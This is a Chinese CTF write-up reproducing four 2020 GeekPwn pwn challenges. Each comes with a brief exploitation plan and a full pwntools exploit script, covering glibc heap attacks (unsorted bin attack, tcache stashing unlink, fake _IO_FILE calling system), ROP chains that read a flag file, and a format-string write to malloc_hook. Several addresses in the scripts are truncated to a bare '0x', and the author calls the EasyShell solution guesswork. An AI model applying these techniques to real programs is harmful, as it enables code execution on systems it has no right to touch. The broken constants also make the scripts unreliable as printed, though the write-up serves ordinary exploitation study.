【pwn】2020GEEKPWN复现

【pwn】2020GEEKPWN复现参考师傅的博客 复现一手 2020GEEKPWN

      参考师傅的博客,复现一手2020GEEKPWN。

1、babypwn

思路:
      1)fb 泄漏 heap_base,通过堆溢出修改 size,释放进 ub,泄漏 libc
      2)然后 ub attack,这里学到 ub attack 并不一定要分配,因为漏洞发生在解链,所以只要在 ub 中发生解链即可,例如无合适的 chunk 时会将 chunk 放入对应的 bin 中,这里也是采用这个办法:unsorted bin攻击并不是非要将该chunk分配,仅需要将其从双向链表中取出便可达到攻击效果。我们可以在最后利用分配 chunk 报错而实现这个目的,同时还可以改unsorted bin的size为0x60,不仅可以unsorted bin攻击成功归类的时候还可以产生我们需要的0x60的smallbin chunk。
      3)然后对应的 chunk 中伪造 fake_file 结构体,vtable 中都放 system 就行

from pwn import * import sys binary = "./pwn" context.log_level = "debug" context.binary = binary context.arch = "amd64" elf = ELF(binary) local = 1 if local: p = process(binary) libc = elf.libc # p = process(binary, env={'LD_PRELOAD':'./libc-2.31.so'}) # libc = ELF("./libc-2.31.so") # libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") else: host = "node3.buuoj.cn" port = 28488 p = remote(host, port) libc = ELF("/home/mtb0tx/share/ctf-pwn/libc/libc-2.29-buu.so") DEBUG = 0 if DEBUG: gdb.attach(p, ''' b *0x0 c ''') def dbg(): gdb.attach(p) pause() se = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) rc = lambda num :p.recv(num) rl = lambda :p.recvline() ru = lambda delims :p.recvuntil(delims) l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00")) l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00")) r64 = lambda :u64(p.recv(6).ljust(8, "\x00")) li = lambda tag, addr :log.info(tag + " -> " + hex(addr)) ia = lambda :p.interactive() menu = "choice:" def cmd(ch): p.recvuntil(menu) p.sendline(str(ch)) # price = size def add(name, size, des): cmd(1) ru("Member name:") sl(name) ru("Description size:") sl(str(size)) ru("Description:") se(des) # len(name) = size def dele(idx): cmd(2) ru("index:") sl(str(idx)) def show(idx): cmd(3) ru("index:") sl(str(idx)) add("cxxz", 0x10, "0\n") add("cxxz", 0x40, (p64(0) + p64(0x21)) * 4) #1 add("cxxz", 0x40, (p64(0) + p64(0x21)) * 4) #2 add("cxxz", 0x40, (p64(0) + p64(0x21)) * 4) #3 add("cxxz", 0x40, (p64(0) + p64(0x21)) * 4) #4 add("cxxz", 0x40, (p64(0) + p64(0x21)) * 4) #5 dele(2) dele(1) add("cxxz", 0x40, "\x70\n") #1 show(1) ru("Description:") heap_addr = u64(p.recv(6).ljust(8, "\x00")) - 0x70 li("heap_addr", heap_addr) add("cxxz", 0x40, (p64(0) + p64(0x21)) * 4) #2 clear fb # leak libc dele(0) add("cxxz", 0, "a"*0x10 + p64(0) + p64(0x91) + '\n') #0 dele(1) add("cxxz", 0x40, (p64(0) + p64(0x21)) * 4) #1 show(2) ru("Description:") libc_base = l64() - libc.sym['__malloc_hook'] - 0x68 li("libc_base", libc_base) libc.address = libc_base add("cxxz", 0x30, "clear-ub\n") #6 in #2 dele(0) add("cxxz", 0, "a"*0x10 + p64(0) + p64(0xc1) + '\n') #0 dele(1) dele(0) # fake IO_file pl = "a"*0x10 pl += "/bin/sh\x00" + p64(0x61) + p64(0) + p64(libc.sym['_IO_list_all'] - 0x10) pl += p64(2) + p64(3) pl += p64(0) * 7 pl += p64(heap_addr) pl += p64(0)*13 pl += p64(heap_addr + 0x100) pl += p64(libc.sym['system']) * 8 + '\n' add("cxxz", 0, pl) #0 cmd(1) ru("Member name:") sl("cxxz") ru("Description size:") sl(str(0x10)) # dbg() ia() 

2、playthenew

      libc2.30, uaf。程序只能 calloc,这就导致 tcache_stashing_unlink 就算能将 target 链入到 fd 中,随后会被放入 tcache,所以分配不到,只能想其他办法。所以考虑将 top chunk 的地址弄到 target 去。既然用不了 tcache,就用 tcache_stashing_unlink 将 global max fast 的值修改,由于 fb 链在 libc 中,而 top chunk 位于存储 fb 头指针的数组下,所以可以计算好 size free 后其堆地址可以覆盖 top chunk 指针,top chunk的size需要小于0x21000,同时够分配,而程序的后门函数需要修改 mmap 出的目标地址(0x)的值才可以调用,我们又想分配到这,所以这里采用两次 tcache_stashing_unlink,所以整体思路如下:
      0)经过一些操作,泄漏 heap 和 libc
      1)第一次 tcache_stashing_unlink将错位将 0x 的值修改,同时将 0x 的值也修改,满足 top chunk 的 size 条件。
      2)第二次 tcache_stashing_unlink修改 global max fast,计算 size 覆盖 top chunk 指针,此时为该堆指针。
      3)利用 uaf 修改在 top chunk 位置的 chunk fd 为 0x,再将该 chunk 申请走,0x 就留在了 top chunk 位置。
      4)利用后面函数,先泄漏堆地址,再计算一下 backdoor() 的返回地址,gets 进 rop,orw 出 flag,(这里其实也不需要 mprotect,原博主是通过 pop rax;call rax 将 0x 里布置了 shellcode,所以需要,这里就不用了)。
(最后注意调试的时候 send 的数据和接收的有可能有差别,注意不要死扣)
在这里插入图片描述在这里插入图片描述

from pwn import * import sys binary = "./pwn" context.log_level = "debug" context.binary = binary context.arch = "amd64" elf = ELF(binary) local = 1 if local: p = process(binary) libc = elf.libc # p = process(binary, env={'LD_PRELOAD':'./libc-2.31.so'}) # libc = ELF("./libc-2.31.so") # libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") else: host = "node3.buuoj.cn" port = 28488 p = remote(host, port) libc = ELF("/home/mtb0tx/share/ctf-pwn/libc/libc-2.29-buu.so") DEBUG = 0 if DEBUG: gdb.attach(p, ''' b *0x0 c ''') def dbg(): gdb.attach(p) pause() se = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) rc = lambda num :p.recv(num) rl = lambda :p.recvline() ru = lambda delims :p.recvuntil(delims) l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00")) l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00")) r64 = lambda :u64(p.recv(6).ljust(8, "\x00")) li = lambda tag, addr :log.info(tag + " -> " + hex(addr)) ia = lambda :p.interactive() menu = "> " def cmd(ch): p.recvuntil(menu) p.sendline(str(ch)) # price = size def add(idx, size, name): cmd(1) ru("index:") sl(str(idx)) ru("size of basketball:") sl(str(size)) ru("dancer name:") se(name) # len(name) = size def dele(idx): cmd(2) ru("Input the idx of basketball:") sl(str(idx)) def show(idx): cmd(3) ru("Input the idx of basketball:") sl(str(idx)) def edit(idx, name): cmd(4) ru("Input the idx of basketball:") sl(str(idx)) ru("The new dance of the basketball:") se(name) def bd(): cmd(0x666) def ROP(SYS_n, a, b, c): rop_chain = p64(libc_base + 0x0000000000021a62) # rdi rop_chain += p64(a) rop_chain += p64(libc_base + 0x0000000000022432) # rsi rop_chain += p64(b) rop_chain += p64(libc_base + 0x0000000000001b9a) # rdx rop_chain += p64(c) rop_chain += p64(libc_base + 0x000000000002c624) # rax rop_chain += p64(SYS_n) rop_chain += p64(libc_base + 0x00000000000392c9) # syscall return rop_chain add(0, 0x180, "cxxz") add(1, 0x180, "cxxz") dele(0) dele(1) show(1) ru("Show the dance:") heap_base = r64() - 0x2a0 li("heap_base", heap_base) for i in range(5): add(0, 0x180, "cxxz") dele(0) for i in range(6): add(0, 0xa0, "cxxz") dele(0) for i in range(6): add(0, 0xb0, "cxxz") dele(0) for i in range(7): add(0, 0xc0, "cxxz") dele(0) add(4, 0xc0, "cxxz") for i in range(7): add(1, 0x120, "cxxz") dele(1) add(0, 0x180, "cxxz") add(1, 0x190, "cxxz") dele(0) show(0) ru("Show the dance:") libc_base = r64() - libc.sym['__malloc_hook'] - 0x70 li("libc_base", libc_base) libc.address = libc_base # # tcache_stash_unlink -> 0x add(1, 0xd0, "cxxz") # 0x180-0xd0 = 0xb0 for i in range(7): # size = 0xb0 -> smallbin add(1, 0x1a0, "cxxz") dele(1) add(1, 0x1a0, "cxxz") add(2, 0x1b0, "cxxz") dele(1) add(0, 0xf0, "cxxz") # split 0x1a0 0x1a0-0xf0 = 0xb0 add(0, 0x1b0, "cxxz") # remainder -> smallbin tsu_pl = "a"*0xf0 + p64(0) + p64(0xb1) + p64(heap_base + 0x25d0) + p64(0x - 4 - 8) edit(1, tsu_pl) # trigger add(0, 0xa0, "cxxz") # tcache_stash_unlink -> global_max_fast add(0, 0x180, "cxxz") # first smallbin add(1, 0x100, "cxxz") dele(0) add(0, 0xc0, "cxxz") add(0, 0x1a0, "cxxz") # second smallbin add(1, 0x100, "cxxz") dele(0) add(1, 0xe0, "cxxz") add(2, 0x100, "cxxz") tsu_pl1 = "a"*0xe0 + p64(0) + p64(0xc1) + p64(heap_base + 0x39f0) + p64(libc.sym['global_max_fast'] - 0x10) edit(0, tsu_pl1) # hijacking top chunk add(1, 0x120, "cxxz") add(3, 0xb0, "cxxz") # modify global_max_fast ok dele(1) dele(4) dele(3) # modify main_arena->top_chunk edit(3, p64(0x)) add(3, 0xb0, "cxxz") edit(1, p64(0)) add(1, 0x120, "cxxz") add(1, 0x120, p64(libc.sym['puts']) + p64(libc.sym['environ'])) # gdb.attach(p, "b *$rebase(0x185e) \n c") bd() # backdoor ret addr stack_addr = l64() - 0x110 li("stack_addr", stack_addr) pop_rax = libc_base + 0x000000000002c624 # pop rax call_rax = libc_base + 0x000000000000318f jmp_rsp = libc_base + 0x0000000000002b4d jmp_rax = libc_base + 0x0000000000022331 mprotect = ROP(10, 0x, 0x1000, 7) pop_rdi = libc_base + 0x0000000000021a62 # rdi pop_rsi = libc_base + 0x0000000000022432 # rsi pop_rdx = libc_base + 0x0000000000001b9a # rdx flag_addr = 0x + 0x140 rop = ROP(2, flag_addr, 0, 0) rop += ROP(0, 3, 0x + 0x30, 0x50) rop += ROP(1, 1, 0x + 0x30, 0x50) # pl1 = "aaa" + mprotect + p64(pop_rax) + p64(0x + 0x140 + 8) + p64(call_rax)  # 没用这个的原因是 mprotect 的系统调用号是 0xa,gets 会认为是换行符,截断 pl1 = flat([pop_rdi, 0x, pop_rsi, 0x1000, pop_rdx, 7, libc.sym['mprotect']]) pl1 += rop dele(1) add(1, 0x120, p64(libc.sym['gets']) + p64(stack_addr) + '\n') add(2, 0x120, "./flag\x00\x00") # gdb.attach(p, "b *$rebase(0x185e) \n c") bd() sl(pl1) # dbg() ia() 

3、paperprinter

      ub中遍历 bk 分配(双向链表都是遍历 bk 分配),如果 ub 中有多个,则从 bin->bk 开始,在不是 last remainder 的情况下,size 不满足则放入对应 bin,满足则直接分配。这里狠巧妙的利用了 ub 中的 libc 地址和 fd,bk 指针,由于只能确定低两个半字节,而 IO_list_all 和 ub 中的 libc 地址在 3 字节,所以爆破半个字节,1/16 的概率,然后构造 vtable,利用残留的 bk 将相对于 fake_file 的 0xd8 处的 vtable 指向我们可控的堆地址,在这里布置 system,同样的道理还是利用残留的 libc 指针,只不过这次是放进 smallbin 残留的 libc,改低三字节即可,最终和 babypwn 一样,进入报错触发。总体思路:
      1)根据泄露的信息找到我们需要的io_file_list、system地址低3字节。(最高半字节爆破)
      2)创造出足够多的空间,准备后面的delete构造small 、unsorted chunk
      3)根据fake file的特点在对应的位置创造出heap地址和libc地址,libc地址直接 free 进 unsorted bin 就有了,但是heap地址我们需要在offset + 0x8位置创造出。要么就是unsorted bin要么就是smallbin,large bin。在这里我们选择smallbin,由于malloc的时候遍历unsorted bin会归类smallbin,所以提前释放两个同样大小的chunk在unsorted bin,malloc 0x150的时候就可以在对应的位置得到heap地址了。
      4)unsorted bin attack + 改掉unsorted bin的size为0x61也为了劫持 io_file_list 成功,exit完成unsorted bin attack攻击,同时归类时产生错误执行malloc_printerr。
在这里插入图片描述
       add后:
在这里插入图片描述
       布置完成后:
在这里插入图片描述
在这里插入图片描述
爆破几次即可:
在这里插入图片描述
完整exp:

from pwn import * import sys binary = "./pwn" # context.log_level = "debug" context.binary = binary context.arch = "amd64" elf = ELF(binary) # local = 1 # if local: # p = process(binary) # libc = elf.libc # # p = process(binary, env={'LD_PRELOAD':'./libc-2.31.so'}) # # libc = ELF("./libc-2.31.so") # # libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") # else: # host = "node3.buuoj.cn" # port = 28488 # p = remote(host, port) # libc = ELF("/home/mtb0tx/share/ctf-pwn/libc/libc-2.29-buu.so") DEBUG = 0 if DEBUG: gdb.attach(p, ''' b *0x0 c ''') def dbg(): gdb.attach(p) pause() se = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) rc = lambda num :p.recv(num) rl = lambda :p.recvline() ru = lambda delims :p.recvuntil(delims) l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00")) l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00")) r64 = lambda :u64(p.recv(6).ljust(8, "\x00")) li = lambda tag, addr :log.info(tag + " -> " + hex(addr)) ia = lambda :p.interactive() menu = "Input your choice:" def cmd(ch): p.recvuntil(menu) p.sendline(str(ch)) # price = size def edit(offset, length, con): cmd(1) ru("Input the offset :") sl(str(offset)) ru("Input the length :") sl(str(length)) ru("Input the content :") se(con) # len(name) = size def dele(offset): cmd(2) ru("Input the offset :") sl(str(offset)) def add(): cmd(3) def pwn(): ru("0x") libc_addr = int(p.recvline().strip("\n"), 16) libc_addr = (libc_addr << 8) + 0xa00000 + 0xb0 libc_addr = libc_addr - libc.sym['sleep'] li("libc_addr", libc_addr) system = libc_addr + libc.sym['system'] io_list_all = libc_addr + libc.sym['_IO_list_all'] li("system", system) li("io_list_all", io_list_all) pl = p64(0) + p64(0x61) + (p64(0) + p64(0x21)) * 5 edit(0x10, len(pl), pl) # 0x10 edit(0x10 + 0x60, len(pl), pl) # 0x70 pl1 = p64(0) + p64(0x61) + (p64(0) + p64(0x21)) * 9 edit(0x10 + 0x60 + 0x60, len(pl1), pl1) #0xd0 # heap_addr libc_addr pl = p64(0) + p64(0x141) + (p64(0) + p64(0x21)) * 0x20 edit(0x160, len(pl), pl) pl = p64(0) + p64(0x91) edit(0x140, len(pl), pl) edit(0x1b0, len(pl), pl) dele(0x150) dele(0x1c0) dele(0x170) # ub attack pl = p64(0) + p64(0xa1) edit(0x80, len(pl), pl) dele(0x90) add() ub_attack = "/bin/sh;" + p64(0x61) + p64(0) + p64(io_list_all - 0x10)[:3] edit(0x80, len(ub_attack), ub_attack) fake_file = p64(2) + p64(3) + p64(0) * 21 edit(0x80 + 0x20, len(fake_file), fake_file) fake_vtable_addr = "\xb0" edit(0xa0 + 0x8 * 23, len(fake_vtable_addr), fake_vtable_addr) #0x158 fake_vtable = p64(system)[:3] edit(0x1c8, len(fake_vtable), fake_vtable) # dbg() cmd(4) # ia() while True: p = process(binary) libc = elf.libc try: pwn() ia() except: p.close() print("trying ...") 

4、EasyShell

      没咋看太明白,看出大概流程是:
      0)printFunc 中会调用 malloc,调用malloc 肯定有:
在这里插入图片描述
判断 malloc_hook 有无值,有则执行。
      1)将 malloc_hook 处修改为 xchg edi,rsp,据说此时的 edi 中应该存放了 malloc_hook 所在的附件的 bss 段地址。所以就控制了 rsp。ret 的时候 pop eip 就会执行到前面 edi 里保存的,malloc_hook 附近的地址,在这里继续控制,然后执行 read,提前用一个 gadget 控制 read 读入的地址。
      2)给一段继续 read 的 rop 然后跳转到所读处执行,read 的目标地址是,0x6ed7d0,0x6ed7d8 应该是执行这段 rop 的返回地址,相当于直接把 read 进来的 rop 覆盖自己的返回地址。
      3)给 orw 的 rop,读出 flag。
具体细节没调,以上是猜想。

#coding=utf-8 from pwn import * from fmt_attack import Payload p = process('./pwn') context.log_level = 'debug' read_addr = 0x400bce # read 0xc0 byte info malloc_hook = 0x6ed7a8 # 0x0000000000: syscall; ret;  # 0x0000000000400c6c: leave; ret; # 0x0000000000: xchg edi, esp; add al, 0; add dh, dh; ret; # 0x000000000042142b: pop rcx; ret; # 0x000000000044b3a2: pop rdi; jmp rax; # 0x0000000000: pop rax; pop rdx; pop rbx; ret;  # 0x0000000000401f08: pop rsi; pop r15; ret;  # 0x000000000042830b: pop rsp; jmp rax; # 0x00000000004014a4: pop rsi; ret; # 0x000000000040b74a: pop rdi; pop rbp; ret;  # 0x00000000004005b5: pop rsp; ret;  # gdb.attach(p, "b *0x6ED7A8 \n c") a = Payload(10,addon=('%' + str(0x6ED798) + 'x').ljust(0x10,'a')) a.add_write_chunk(0x0000000000,0x6ed7a8,4) a.add_write_chunk(0x000000000040b74a,0x6ed7b8,4) a.add_write_chunk(0x6ed7d0,0x6ed7c0,4) a.add_write_chunk(read_addr,0x6ed7d0,4) payload = a.get_payload() p.sendline(payload.ljust(0xc0,"\x00")) # read func payload1 = "flag".ljust(8,"\x00") # 0x6ed7d0 payload1+= p64(0x0000000000) + p64(0) + p64(0x400) + p64(0) # pop rax; pop rdx; pop rbx; ret;  payload1+= p64(0x000000000040b74a) + p64(0)*2 # pop rdi; pop rbp; ret;  payload1+= p64(0x00000000004014a4) + p64(0x6ed900) # pop rsi; ret; payload1+= p64(0x0000000000) # syscall ret payload1+= p64(0x00000000004005b5) + p64(0x6ed900) # pop rsp; ret; p.sendline(payload1.ljust(0xc0,"\x00")) # ------------ ORW --------------- # open payload2 = p64(0x0000000000) + p64(2) + p64(0) + p64(0) # pop rax; pop rdx; pop rbx; ret;  payload2+= p64(0x000000000040b74a) + p64(0x6ed7d0)+p64(0) # pop rdi; pop rbp; ret;  payload2+= p64(0x00000000004014a4) + p64(0) # pop rsi; ret;  payload2+= p64(0x0000000000) # syscall ret # read payload2+= p64(0x0000000000) + p64(0) + p64(0x20) + p64(0) # pop rax; pop rdx; pop rbx; ret;  payload2+= p64(0x000000000040b74a) + p64(3)+p64(0) # pop rdi; pop rbp; ret;  payload2+= p64(0x00000000004014a4) + p64(0x6ed7a0) # pop rsi; ret;  payload2+= p64(0x0000000000) # syscall ret # write payload2+= p64(0x0000000000) + p64(1) + p64(0x20) + p64(0) # pop rax; pop rdx; pop rbx; ret;  payload2+= p64(0x000000000040b74a) + p64(1)+p64(0) # pop rdi; pop rbp; ret;  payload2+= p64(0x00000000004014a4) + p64(0x6ed7a0) # pop rsi; ret;  payload2+= p64(0x0000000000) # syscall ret p.sendline(payload2.ljust(0x400,"\x00")) p.interactive() 

在这里插入图片描述

今天的文章 【pwn】2020GEEKPWN复现分享到此就结束了,感谢您的阅读。
编程小号
上一篇 2025-01-05 11:33
下一篇 2025-01-05 11:30

相关推荐

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
如需转载请保留出处:https://bianchenghao.cn/bian-cheng-ji-chu/102527.html